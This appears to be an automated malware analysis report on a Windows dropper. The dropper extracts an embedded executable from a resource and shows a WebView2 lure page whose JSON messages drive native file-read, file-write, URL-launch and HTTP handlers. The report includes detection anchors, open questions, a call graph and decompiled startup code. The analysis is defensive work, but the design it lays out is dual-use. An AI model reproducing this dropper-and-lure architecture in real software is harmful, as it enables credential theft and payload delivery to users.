ShellExecuteWspawns a process0x14009a16014009a160not reached from the entry

Detection anchors 4

Features a detection rule could match on: what to match, where it sits in the file, how stable it is across builds, and what else might match it. They are proposals; CORD Detection measures them against clean software before any becomes a rule.

idstatusfeaturescan typescopefileevidenceon diskwherepatternhow stablepossible false matchessingle sample only
A1nominatedentry stub 30-byte sequence at file offset 0x400, including the E8 rel32 call to the main functionrealtimebuildOriginalE17yesother mingw x64 executables with the same CRT entry stub; low given the rel32 operand varies per binaryyes
A2nominatedRCDATA resource 300 containing embedded PE (164704 bytes)realtimebuildOriginalE2yesany PE with RCDATA ID 300; narrow with PE header checks on the resource contentyes
A3nominatedWinInet HTTP request function at 0x140004000 with InternetCrackUrl+HttpOpenRequest+HttpSendRequest+InternetReadFile call sequencebatchbuildOriginalE3yesother WinInet-based HTTP clients with the same API sequence; moderateyes
A4nominatedsystem fingerprint function at 0x1400094c0 with obfuscated XOR/shift computation over PID, tick count and localerealtimebuildOriginalE7yesnone expected; the constant combination is distinctiveyes

Open questions 7

Questions the analysis could not answer, what was tried, and why it stopped. Some may have been answered by a later step; check Decoded strings.

U1

Q2

what was tried
identified RCDATA 300 as PE, confirmed extraction in WinMain decompilation
why it stopped
payload_not_in_file
stop
payload_not_in_file
U2

Q3

what was tried
decompiled HTTP function 0x140004000, confirmed API sequence; identified 11 URL IOC candidates from static strings, deepen: verified 9 of 11 URLs are in embedded PE at file offsets 0xd70c0-0xff420, not the original file; only c0009 and c0010 are the original file URLs; c0009 referenced by webview2_setup 0x1400056b0
why it stopped
The original file has only 2 URLs; remaining URL-to-function mapping deferred to unpacked file 1 analysis
U3

Q2

what was tried
confirmed WebView2 initialization and COM setup at 0x1400056b0; no static HTML found in the original file resources besides the embedded PE
why it stopped
lure content fetched at runtime or in dropped PE, not in the original file
U4

Q2

what was tried
read navigation event handler 0x140008f60 and URL handler 0x140003c10; neither shows explicit credential extraction in the original file, deepen: identified JSON IPC protocol (0x140002900 builder, 0x1400075c0 parser); ui_thread_handler 0x140005a90 dispatches to file_reader/file_writer/url_launcher/WndProc via JSON messages from WebView2 frontend
why it stopped
credential capture handled by WebView2 JavaScript sending postMessage to native code; the native handlers (file_reader, file_writer, url_launcher) execute commands but extraction logic is in the lure page served to WebView2
U5

Q2

what was tried
FLOSS found 12 decoded strings; attempted to group by routine but output masked
why it stopped
decoded strings not mapped to callers due to masked output
U6

Q3

what was tried
identified 5 registry path candidates c0012-c0016 in IOC index, deepen: verified all 5 registry candidates at file offsets 0xf50e8-0xf5c98 are within embedded PE range 0xd70c0-0xff420, belong to unpacked file 1 not the original file
why it stopped
registry candidates are unpacked file 1 (embedded PE) data, not the original file strings; deferred to unpacked file 1 analysis
U7

Q5

what was tried
dispatch_reach pass resolved 270 of 1358 computed call sites, gaining 362 functions (330 to 692 reached)
why it stopped
76 unresolved computed call sites in reached code; no state/index tables found

How the code connects

Shortest call paths from the entry points to every function the report cites. Dashed edges are address-taken or virtual references (callbacks, thread procs, delegates, tables), not direct calls. Select a cited function to jump to its code; zoom and drag to pan a large graph.

From CORD Research's native call graph: 20 functions, 20 edges.

100%drag to panentry pointcitedon the wayreference
Paths as text · 18
  • entry: entry 0x140001000
  • crt_startup: entry 0x140001000 → crt_startup 0x140001020
  • WinMain: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400
  • WndProc: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> WndProc 0x140002480
  • json_response_builder: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> WndProc 0x140002480 → json_response_builder 0x140002900
  • edge_handler: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → edge_handler 0x1400030e0
  • file_reader: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → file_reader 0x1400033d0
  • file_writer: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → file_writer 0x1400038b0
  • url_launcher: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → url_launcher 0x140003c10
  • http_request: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 ~> http_request 0x140004000
  • internet_init: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 ~> http_request 0x140004000 → internet_init 0x140004580
  • http_request_builder: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → file_reader 0x1400033d0 → http_request_builder 0x140004620
  • timer_reveal: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> timer_setup 0x140009480 ~> timer_reveal 0x140004960
  • webview2_setup: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0
  • ui_thread_handler: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90
  • json_parser: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> ui_thread_handler 0x140005a90 → json_parser 0x1400075c0
  • nav_event_handler: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> nav_event_handler 0x140008f60
  • timer_setup: entry 0x140001000 → crt_startup 0x140001020 → calls GetStartupInfoW 0x140021a30 → WinMain 0x140001400 ~> 0x1400055d0 ~> webview2_setup 0x1400056b0 ~> timer_setup 0x140009480

How those functions call each other (1 functions, up to three calls apart):

100%drag to panentry pointcitedon the wayreference

Code 19

Decompiled from the sample and the layers unpacking recovered, by the render step (not the analyst): Ghidra for native code (C and annotated assembly), ILSpy for .NET (C# and IL). FUN_… names are replaced by the report's names where it gives one. In the assembly, highlighted rows are addresses the evidence cites.

Index · 19 functions
FunctionAddressLayerSizeCited asPurposeBehaviours
entry0x140001000L030PE entry point, calls crt_startup
crt_startup0x140001020L0892E9CRT startup, creates mutex for single-instance lock, calls WinMain · behaviours: B8 single-instance execution lockB8
WinMain0x140001400L03663E1Drops embedded PE from RCDATA 300, registers window class, creates WebView2 environment · behaviours: B1 drops embedded PE from resource; B2 creates WebView2 browser control for lure UIB1, B2
WndProc0x140002480L0878E10Window procedure dispatching WM messages, calls WebView2 setup and JSON response builder · behaviours: B2 creates WebView2 browser control for lure UI; B10 JSON-based IPC between WebView2 and native codeB2, B10
json_response_builder0x140002900L0720E19Builds JSON objects with id/ok/result fields as IPC responses to WebView2 frontend · behaviours: B10 JSON-based IPC between WebView2 and native codeB10
edge_handler0x1400030e0L0700Handles WebView2 edge runtime environment callbacks
file_reader0x1400033d0L0975E15Reads files by path parameter, builds JSON response with contents · behaviours: B9 reads and writes files by path parameterB9
file_writer0x1400038b0L0730E16Writes files by path parameter, builds JSON response with status · behaviours: B9 reads and writes files by path parameterB9
url_launcher0x140003c10L0893E6Opens URLs via ShellExecuteW, builds JSON response with result · behaviours: B5 opens URLs via ShellExecuteB5
http_request0x140004000L01315E3Sends HTTP requests via WinInet (InternetOpenA, InternetOpenUrlA, InternetReadFile), reads response · behaviours: B3 HTTP networking via WinInetB3
internet_init0x140004580L0147E4Initialises WinInet session handle with InternetOpenA · behaviours: B3 HTTP networking via WinInetB3
http_request_builder0x140004620L0671E22Constructs HTTP request parameters from global state and string operations, helper for http_request · behaviours: B3 HTTP networking via WinInetB3
timer_reveal0x140004960L079E12Timer callback that shows the main window after delay · behaviours: B7 timer-delayed window revealB7
webview2_setup0x1400056b0L0830E5Creates WebView2 controller and configures COM environment, references L0 URLs · behaviours: B2 creates WebView2 browser control for lure UIB2
ui_thread_handler0x140005a90L06076E8Handles WebView2 postMessage events: parses incoming JSON, dispatches to native handlers, creates child processes · behaviours: B4 creates child process; B10 JSON-based IPC between WebView2 and native codeB4, B10
json_parser0x1400075c0L01644E20Recursive-descent JSON parser for incoming WebView2 messages; handles strings, arrays, objects, numbers · behaviours: B10 JSON-based IPC between WebView2 and native codeB10
nav_event_handler0x140008f60L01153E18WebView2 navigation completed event handler, configures browser settings · behaviours: B2 creates WebView2 browser control for lure UIB2
timer_setup0x140009480L058E11Sets up Windows timer for delayed window reveal · behaviours: B7 timer-delayed window revealB7
system_fingerprint0x1400094c0L02313E7Collects system identity data using XOR constants 0xfd6c0c64 and 0x9c0fc46e · behaviours: B6 collects system fingerprintB6

entry

0x14000100030 bytes
undefined entry(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

PE entry point, calls crt_startup

Called from
none found
Calls
crt_startup
Decompiled C · 9 lines
void entry(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  *(undefined4 *)PTR_DAT_14009b020 = 1;
  crt_startup(param_1,param_2,param_3,param_4);
  return;
}

Assembly · 9 instructions, 1 annotated
AddressBytesInstructionComment
14000100048 83 ec 28SUB RSP,0x28
14000100448 8b 05 15 a0 09 00MOV RAX,qword ptr [PTR_DAT_14009b020]
14000100bc7 00 01 00 00 00MOV dword ptr [RAX],0x1
140001011e8 0a 00 00 00CALL crt_startup; → crt_startup (B8, E9)
14000101690NOP
14000101790NOP
14000101890NOP
14000101948 83 c4 28ADD RSP,0x28
14000101dc3RET

crt_startup

0x140001020892 bytes
ulonglong crt_startup(undefined8 param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

CRT startup, creates mutex for single-instance lock, calls WinMain

Cited as
E9
Behaviours
B8
Called from
entry, FUN_1400013a0
Calls
SetUnhandledExceptionFilter Sleep tls_callback_0, FUN_140021240, FUN_140021480, FUN_140021490, FUN_140021510, FUN_140021a20, FUN_140021a30, FUN_140022e40, FUN_140022e50, FUN_140022ec0, _guard_dispatch_icall, __p__commode, __p__fmode, _cexit, _configthreadlocale, _initterm, _initterm_e, _set_invalid_parameter_handler, exit, malloc, memcpy, wcslen, _set_app_type
Decompiled C · 175 lines
ulonglong crt_startup(undefined8 param_1,undefined8 param_2,undefined8 param_3,undefined8 param_4)

{
  ushort uVar1;
  uint uVar2;
  undefined4 uVar3;
  undefined *puVar4;
  undefined *puVar5;
  void *pvVar6;
  int iVar7;
  undefined8 *puVar8;
  ulonglong uVar9;
  LPTOP_LEVEL_EXCEPTION_FILTER pPVar10;
  undefined4 *puVar11;
  undefined8 uVar12;
  void *pvVar13;
  size_t sVar14;
  void *_Dst;
  undefined *puVar15;
  undefined8 *in_RDX;
  undefined8 *in_R8;
  ulonglong in_R9;
  longlong lVar16;
  longlong lVar17;
  bool bVar18;
  undefined8 extraout_XMM0_Qa;
  undefined4 local_44;
  
  puVar4 = PTR_DAT_14009b048;
  lVar16 = *(longlong *)((longlong)Self + 8);
  LOCK();
  lVar17 = *(longlong *)PTR_DAT_14009b048;
  bVar18 = lVar17 == 0;
  if (bVar18) {
    *(longlong *)PTR_DAT_14009b048 = lVar16;
    lVar17 = 0;
  }
  UNLOCK();
  if (lVar16 != lVar17 && !bVar18) {
    do {
      param_1 = 1000;
      Sleep(1000);
      LOCK();
      lVar17 = *(longlong *)puVar4;
      bVar18 = lVar17 == 0;
      if (bVar18) {
        *(longlong *)puVar4 = lVar16;
        lVar17 = 0;
      }
      UNLOCK();
    } while ((!bVar18) && (lVar16 != lVar17));
  }
  puVar5 = PTR_DAT_14009b050;
  if (*(int *)PTR_DAT_14009b050 != 1) {
    if (*(int *)PTR_DAT_14009b050 != 0) {
      DAT_1400c9430 = '\x01';
joined_r0x0001400010b0:
      if (bVar18) {
        LOCK();
        *(undefined8 *)puVar4 = 0;
        UNLOCK();
      }
      if (*(longlong *)PTR_PTR_14009b010 != 0) {
        (*(code *)PTR__guard_dispatch_icall_1400b1850)(0,2,0);
      }
      uVar12 = DAT_1400c9428;
      puVar8 = (undefined8 *)FUN_140022e40();
      *puVar8 = uVar12;
      uVar9 = FUN_140021a30(extraout_XMM0_Qa,param_2,param_3,param_4);
      if (DAT_1400c9414 != 0) {
        if (DAT_1400c9430 == '\0') {
          uVar9 = uVar9 & 0xffffffff;
          _cexit();
        }
        return uVar9;
      }
      goto LAB_140001395;
    }
    *(undefined4 *)PTR_DAT_14009b050 = 1;
    FUN_140021510(param_1,in_RDX,in_R8,in_R9);
    pPVar10 = SetUnhandledExceptionFilter(FUN_1400212d0);
    *(LPTOP_LEVEL_EXCEPTION_FILTER *)PTR_DAT_14009b040 = pPVar10;
    _set_invalid_parameter_handler((_invalid_parameter_handler)&DAT_1400013d0);
    FUN_140021490();
    *(undefined4 *)PTR_DAT_14009b028 = 1;
    *(undefined4 *)PTR_DAT_14009b030 = 1;
    *(undefined4 *)PTR_DAT_14009b038 = 1;
    DAT_1400c9414 = 0;
    if ((*(short *)PTR_IMAGE_DOS_HEADER_14009b008 == 0x5a4d) &&
       (in_RDX = (undefined8 *)(longlong)*(int *)(PTR_IMAGE_DOS_HEADER_14009b008 + 0x3c),
       *(int *)(PTR_IMAGE_DOS_HEADER_14009b008 + (longlong)in_RDX) == 0x4550)) {
      puVar15 = PTR_IMAGE_DOS_HEADER_14009b008 + (longlong)in_RDX;
      uVar1 = *(ushort *)(puVar15 + 0x18);
      in_RDX = (undefined8 *)(ulonglong)uVar1;
      if (uVar1 == 0x20b) {
        in_RDX = (undefined8 *)0xf8;
        uVar2 = *(uint *)(puVar15 + 0x84);
      }
      else {
        if (uVar1 != 0x10b) goto LAB_1400011cd;
        in_RDX = (undefined8 *)0xe8;
        uVar2 = *(uint *)(puVar15 + 0x74);
      }
      if (0xe < uVar2) {
        DAT_1400c9414 = (uint)(*(int *)(puVar15 + (longlong)in_RDX) != 0);
      }
    }
LAB_1400011cd:
    _set_app_type(2 - (uint)(*(int *)PTR_DAT_14009b020 == 0));
    uVar3 = *(undefined4 *)PTR_DAT_14009b088;
    puVar11 = (undefined4 *)__p__fmode();
    *puVar11 = uVar3;
    uVar3 = *(undefined4 *)PTR_DAT_14009b078;
    puVar11 = (undefined4 *)__p__commode();
    *puVar11 = uVar3;
    uVar12 = FUN_140021a20();
    if (-1 < (int)uVar12) {
      if (*(int *)PTR_DAT_14009b000 == 1) {
        FUN_140021480(FUN_1400214a0);
      }
      if (*(int *)PTR_DAT_14009b018 == -1) {
        _configthreadlocale(-1);
      }
      iVar7 = _initterm_e(PTR_DAT_14009b068,PTR_DAT_14009b070);
      if (iVar7 != 0) {
        return 0xff;
      }
      local_44 = *(undefined4 *)PTR_DAT_14009b090;
      in_R9 = (ulonglong)*(uint *)PTR_DAT_14009b080;
      in_RDX = &DAT_1400c9420;
      in_R8 = &DAT_1400c9428;
      uVar12 = FUN_140022e50(&DAT_1400c9418,&DAT_1400c9420,&DAT_1400c9428,*(uint *)PTR_DAT_14009b080
                             ,&local_44);
      iVar7 = DAT_1400c9418;
      if (-1 < (int)uVar12) {
        lVar17 = (longlong)DAT_1400c9418;
        pvVar13 = malloc(lVar17 * 8 + 8);
        pvVar6 = DAT_1400c9420;
        if (pvVar13 != (void *)0x0) {
          if (iVar7 < 1) {
            lVar17 = 0;
          }
          else {
            lVar16 = 0;
            do {
              sVar14 = wcslen(*(wchar_t **)((longlong)pvVar6 + lVar16 * 8));
              puVar8 = (undefined8 *)(sVar14 * 2 + 2);
              _Dst = malloc((size_t)puVar8);
              *(void **)((longlong)pvVar13 + lVar16 * 8) = _Dst;
              if (_Dst == (void *)0x0) goto LAB_140001381;
              in_RDX = *(undefined8 **)((longlong)pvVar6 + lVar16 * 8);
              memcpy(_Dst,in_RDX,(size_t)puVar8);
              lVar16 = lVar16 + 1;
              in_R8 = puVar8;
            } while (lVar17 != lVar16);
          }
          *(undefined8 *)((longlong)pvVar13 + lVar17 * 8) = 0;
          DAT_1400c9420 = pvVar13;
          _initterm(PTR_DAT_14009b058,PTR_DAT_14009b060);
          FUN_140021240();
          *(undefined4 *)puVar5 = 2;
          goto joined_r0x0001400010b0;
        }
      }
    }
LAB_140001381:
    FUN_140022ec0(8,in_RDX,in_R8,in_R9);
  }
  uVar9 = FUN_140022ec0(0x1f,in_RDX,in_R8,in_R9);
LAB_140001395:
                    /* WARNING: Subroutine does not return */
  exit((int)uVar9);
}

Assembly · 203 instructions, 7 annotated
AddressBytesInstructionComment
14000102041 57PUSH R15
14000102241 56PUSH R14
14000102441 55PUSH R13
14000102641 54PUSH R12
14000102856PUSH RSI
14000102957PUSH RDI
14000102a55PUSH RBP
14000102b53PUSH RBX
14000102c48 83 ec 38SUB RSP,0x38
140001030b8 30 00 00 00MOV EAX,0x30
14000103565 67 48 8b 00MOV RAX,qword ptr GS:[EAX]
14000103a48 8b 70 08MOV RSI,qword ptr [RAX + offset StackBase]
14000103e48 8b 1d 03 a0 09 00MOV RBX,qword ptr [PTR_DAT_14009b048]
14000104531 c0XOR EAX,EAX
140001047f0 48 0f b1 33CMPXCHG.LOCK qword ptr [RBX],RSI
14000104c40 0f 94 c5SETZ BPL
14000105048 39 c6CMP RSI,RAX
1400010530f 94 c0SETZ AL
14000105640 08 e8OR AL,BPL
14000105975 2eJNZ LAB_140001089
14000105b48 8b 3d 86 19 0b 00MOV RDI,qword ptr [PTR_Sleep_1400b29e8]
14000106266 66 66 66 66 2e 0f 1f …NOP word ptr CS:[RAX + RAX*0x1]
LAB_140001070:
140001070b9 e8 03 00 00MOV ECX,0x3e8
140001075ff d7CALL RDI
14000107731 c0XOR EAX,EAX
140001079f0 48 0f b1 33CMPXCHG.LOCK qword ptr [RBX],RSI
14000107e40 0f 94 c5SETZ BPL
14000108274 05JZ LAB_140001089
14000108448 39 c6CMP RSI,RAX
14000108775 e7JNZ LAB_140001070
LAB_140001089:
1400010894c 8b 35 c0 9f 09 00MOV R14,qword ptr [PTR_DAT_14009b050]
14000109041 8b 06MOV EAX,dword ptr [R14]
14000109383 f8 01CMP EAX,0x1
1400010960f 84 ef 02 00 00JZ LAB_14000138b
14000109c41 83 3e 00CMP dword ptr [R14],0x0
1400010a00f 84 80 00 00 00JZ LAB_140001126
1400010a6c6 05 83 83 0c 00 01MOV byte ptr [DAT_1400c9430],0x1
1400010ad40 84 edTEST BPL,BPL
1400010b074 05JZ LAB_1400010b7
LAB_1400010b2:
1400010b231 c0XOR EAX,EAX
1400010b448 87 03XCHG qword ptr [RBX],RAX
LAB_1400010b7:
1400010b748 8b 05 52 9f 09 00MOV RAX,qword ptr [PTR_PTR_14009b010]
1400010be48 8b 00MOV RAX,qword ptr [RAX]
1400010c148 85 c0TEST RAX,RAX
1400010c474 10JZ LAB_1400010d6
1400010c631 c9XOR ECX,ECX
1400010c8ba 02 00 00 00MOV EDX,0x2
1400010cd45 31 c0XOR R8D,R8D
1400010d0ff 15 7a 07 0b 00CALL qword ptr [PTR__guard_dispatch_icall_1400b1850]
LAB_1400010d6:
1400010d648 8b 35 4b 83 0c 00MOV RSI,qword ptr [DAT_1400c9428]
1400010dde8 5e 1d 02 00CALL FUN_140022e40
1400010e248 89 30MOV qword ptr [RAX],RSI
1400010e58b 0d 2d 83 0c 00MOV ECX,dword ptr [DAT_1400c9418]
1400010eb48 8b 15 2e 83 0c 00MOV RDX,qword ptr [DAT_1400c9420]
1400010f24c 8b 05 2f 83 0c 00MOV R8,qword ptr [DAT_1400c9428]
1400010f9e8 32 09 02 00CALL FUN_140021a30; FUN_140021a30: WinMain, GetStartupInfoW
1400010fe83 3d 0f 83 0c 00 00CMP dword ptr [DAT_1400c9414],0x0
1400011050f 84 8a 02 00 00JZ LAB_140001395
14000110b80 3d 1e 83 0c 00 00CMP byte ptr [DAT_1400c9430],0x0
1400011120f 85 4b 01 00 00JNZ LAB_140001263
14000111889 c6MOV ESI,EAX
14000111ae8 81 90 09 00CALL _cexit
14000111f89 f0MOV EAX,ESI
140001121e9 3d 01 00 00JMP LAB_140001263
LAB_140001126:
14000112641 c7 06 01 00 00 00MOV dword ptr [R14],0x1
14000112de8 de 03 02 00CALL FUN_140021510; FUN_140021510: VirtualQuery, VirtualProtect, GetLastError
14000113248 8d 0d 97 01 02 00LEA RCX,[FUN_1400212d0]
140001139ff 15 99 18 0b 00CALL qword ptr [PTR_SetUnhandledExceptionFilter_1400b29d8]
14000113f48 8b 0d fa 9e 09 00MOV RCX,qword ptr [PTR_DAT_14009b040]
14000114648 89 01MOV qword ptr [RCX],RAX
14000114948 8d 0d 80 02 00 00LEA RCX,[DAT_1400013d0]
140001150e8 9b 90 09 00CALL _set_invalid_parameter_handler
140001155e8 36 03 02 00CALL FUN_140021490
14000115a48 8b 05 c7 9e 09 00MOV RAX,qword ptr [PTR_DAT_14009b028]
140001161c7 00 01 00 00 00MOV dword ptr [RAX],0x1
14000116748 8b 05 c2 9e 09 00MOV RAX,qword ptr [PTR_DAT_14009b030]
14000116ec7 00 01 00 00 00MOV dword ptr [RAX],0x1
14000117448 8b 05 bd 9e 09 00MOV RAX,qword ptr [PTR_DAT_14009b038]
14000117bc7 00 01 00 00 00MOV dword ptr [RAX],0x1
14000118148 8b 0d 80 9e 09 00MOV RCX,qword ptr [PTR_IMAGE_DOS_HEADER_14009b008]
14000118831 c0XOR EAX,EAX
14000118a66 81 39 4d 5aCMP word ptr [RCX],0x5a4d
14000118f75 3cJNZ LAB_1400011cd
14000119148 63 51 3cMOVSXD RDX,dword ptr [RCX + offset IMAGE_DOS_HEADER_140000000.e_lfanew]
14000119581 3c 11 50 45 00 00CMP dword ptr [RCX + RDX*0x1],0x4550
14000119c75 2fJNZ LAB_1400011cd
14000119e48 01 d1ADD RCX,RDX
1400011a10f b7 51 18MOVZX EDX,word ptr [RCX + 0x18]
1400011a581 fa 0b 02 00 00CMP EDX,0x20b
1400011ab0f 84 b9 01 00 00JZ LAB_14000136a
1400011b181 fa 0b 01 00 00CMP EDX,0x10b
1400011b775 14JNZ LAB_1400011cd
1400011b9ba e8 00 00 00MOV EDX,0xe8
1400011be83 79 74 0fCMP dword ptr [RCX + 0x74],0xf
1400011c272 09JC LAB_1400011cd
LAB_1400011c4:
1400011c431 c0XOR EAX,EAX
1400011c683 3c 11 00CMP dword ptr [RCX + RDX*0x1],0x0
1400011ca0f 95 c0SETNZ AL
LAB_1400011cd:
1400011cd48 8b 0d 4c 9e 09 00MOV RCX,qword ptr [PTR_DAT_14009b020]
1400011d483 39 01CMP dword ptr [RCX],0x1
1400011d789 05 37 82 0c 00MOV dword ptr [DAT_1400c9414],EAX
1400011ddb9 02 00 00 00MOV ECX,0x2
1400011e283 d9 00SBB ECX,0x0
1400011e5e8 66 96 09 00CALL _set_app_type
1400011ea48 8b 05 97 9e 09 00MOV RAX,qword ptr [PTR_DAT_14009b088]
1400011f18b 30MOV ESI,dword ptr [RAX]
1400011f3e8 98 8f 09 00CALL __p__fmode
1400011f889 30MOV dword ptr [RAX],ESI
1400011fa48 8b 05 77 9e 09 00MOV RAX,qword ptr [PTR_DAT_14009b078]
1400012018b 30MOV ESI,dword ptr [RAX]
140001203e8 78 8f 09 00CALL __p__commode
14000120889 30MOV dword ptr [RAX],ESI
14000120ae8 11 08 02 00CALL FUN_140021a20
14000120f85 c0TEST EAX,EAX
1400012110f 88 6a 01 00 00JS LAB_140001381
14000121748 8b 05 e2 9d 09 00MOV RAX,qword ptr [PTR_DAT_14009b000]
14000121e83 38 01CMP dword ptr [RAX],0x1
14000122175 0cJNZ LAB_14000122f
14000122348 8d 0d 76 02 02 00LEA RCX,[FUN_1400214a0]
14000122ae8 51 02 02 00CALL FUN_140021480; FUN_140021480: __setusermatherr
LAB_14000122f:
14000122f48 8b 05 e2 9d 09 00MOV RAX,qword ptr [PTR_DAT_14009b018]
14000123683 38 ffCMP dword ptr [RAX],-0x1
14000123975 0aJNZ LAB_140001245
14000123bb9 ff ff ff ffMOV ECX,0xffffffff
140001240e8 6b 8f 09 00CALL _configthreadlocale
LAB_140001245:
14000124548 8b 0d 1c 9e 09 00MOV RCX,qword ptr [PTR_DAT_14009b068]
14000124c48 8b 15 1d 9e 09 00MOV RDX,qword ptr [PTR_DAT_14009b070]
140001253e8 88 8f 09 00CALL _initterm_e
14000125889 c1MOV ECX,EAX
14000125ab8 ff 00 00 00MOV EAX,0xff
14000125f85 c9TEST ECX,ECX
14000126174 11JZ LAB_140001274
LAB_140001263:
14000126348 83 c4 38ADD RSP,0x38
1400012675bPOP RBX
1400012685dPOP RBP
1400012695fPOP RDI
14000126a5ePOP RSI
14000126b41 5cPOP R12
14000126d41 5dPOP R13
14000126f41 5ePOP R14
14000127141 5fPOP R15
140001273c3RET
LAB_140001274:
14000127448 8b 05 15 9e 09 00MOV RAX,qword ptr [PTR_DAT_14009b090]
14000127b8b 00MOV EAX,dword ptr [RAX]
14000127d89 44 24 34MOV dword ptr [RSP + local_44],EAX
14000128148 8b 05 f8 9d 09 00MOV RAX,qword ptr [PTR_DAT_14009b080]
14000128844 8b 08MOV R9D,dword ptr [RAX]
14000128b48 8d 44 24 34LEA RAX,[RSP + 0x34]
14000129048 89 44 24 20MOV qword ptr [RSP + local_58],RAX
14000129548 8d 0d 7c 81 0c 00LEA RCX,[DAT_1400c9418]
14000129c48 8d 15 7d 81 0c 00LEA RDX,[DAT_1400c9420]
1400012a34c 8d 05 7e 81 0c 00LEA R8,[DAT_1400c9428]
1400012aae8 a1 1b 02 00CALL FUN_140022e50; FUN_140022e50: _initialize_wide_environment, _configure_wide_argv, __p___argc, __p___wargv +2
1400012af85 c0TEST EAX,EAX
1400012b10f 88 ca 00 00 00JS LAB_140001381
1400012b74c 63 3d 5a 81 0c 00MOVSXD R15,dword ptr [DAT_1400c9418]
1400012be4a 8d 0c fd 08 00 00 00LEA RCX,[0x8 + R15*0x8]
1400012c6e8 45 8f 09 00CALL malloc
1400012cb48 85 c0TEST RAX,RAX
1400012ce0f 84 ad 00 00 00JZ LAB_140001381
1400012d448 89 c6MOV RSI,RAX
1400012d745 85 ffTEST R15D,R15D
1400012da7e 4fJLE LAB_14000132b
1400012dc4c 8b 25 3d 81 0c 00MOV R12,qword ptr [DAT_1400c9420]
1400012e345 31 edXOR R13D,R13D
1400012e666 2e 0f 1f 84 00 00 00 …NOP word ptr CS:[RAX + RAX*0x1]
LAB_1400012f0:
1400012f04b 8b 0c ecMOV RCX,qword ptr [R12 + R13*0x8]
1400012f4e8 97 8f 09 00CALL wcslen
1400012f948 8d 3c 45 02 00 00 00LEA RDI,[0x2 + RAX*0x2]
14000130148 89 f9MOV RCX,RDI
140001304e8 07 8f 09 00CALL malloc
1400013094a 89 04 eeMOV qword ptr [RSI + R13*0x8],RAX
14000130d48 85 c0TEST RAX,RAX
14000131074 6fJZ LAB_140001381
1400013124b 8b 14 ecMOV RDX,qword ptr [R12 + R13*0x8]
14000131648 89 c1MOV RCX,RAX
14000131949 89 f8MOV R8,RDI
14000131ce8 0f 8f 09 00CALL memcpy
14000132149 ff c5INC R13
1400013244d 39 efCMP R15,R13
14000132775 c7JNZ LAB_1400012f0
140001329eb 03JMP LAB_14000132e
LAB_14000132b:
14000132b45 31 ffXOR R15D,R15D
LAB_14000132e:
14000132e4a c7 04 fe 00 00 00 00MOV qword ptr [RSI + R15*0x8],0x0
14000133648 89 35 e3 80 0c 00MOV qword ptr [DAT_1400c9420],RSI
14000133d48 8b 0d 14 9d 09 00MOV RCX,qword ptr [PTR_DAT_14009b058]
14000134448 8b 15 15 9d 09 00MOV RDX,qword ptr [PTR_DAT_14009b060]
14000134be8 80 8e 09 00CALL _initterm
140001350e8 eb fe 01 00CALL FUN_140021240; FUN_140021240: _crt_atexit
14000135541 c7 06 02 00 00 00MOV dword ptr [R14],0x2
14000135c40 84 edTEST BPL,BPL
14000135f0f 85 4d fd ff ffJNZ LAB_1400010b2
140001365e9 4d fd ff ffJMP LAB_1400010b7
LAB_14000136a:
14000136aba f8 00 00 00MOV EDX,0xf8
14000136f83 b9 84 00 00 00 0fCMP dword ptr [RCX + 0x84],0xf
1400013760f 83 48 fe ff ffJNC LAB_1400011c4
14000137ce9 4c fe ff ffJMP LAB_1400011cd
LAB_140001381:
140001381b9 08 00 00 00MOV ECX,0x8
140001386e8 35 1b 02 00CALL FUN_140022ec0; FUN_140022ec0: __acrt_iob_func, _exit
LAB_14000138b:
14000138bb9 1f 00 00 00MOV ECX,0x1f
140001390e8 2b 1b 02 00CALL FUN_140022ec0; FUN_140022ec0: __acrt_iob_func, _exit
LAB_140001395:
14000139589 c1MOV ECX,EAX
140001397e8 64 8e 09 00CALL exit

WinMain

0x1400014003663 bytes
undefined8 WinMain(HINSTANCE param_1, undefined8 param_2, undefined8 param_3, undefined8 param_4)

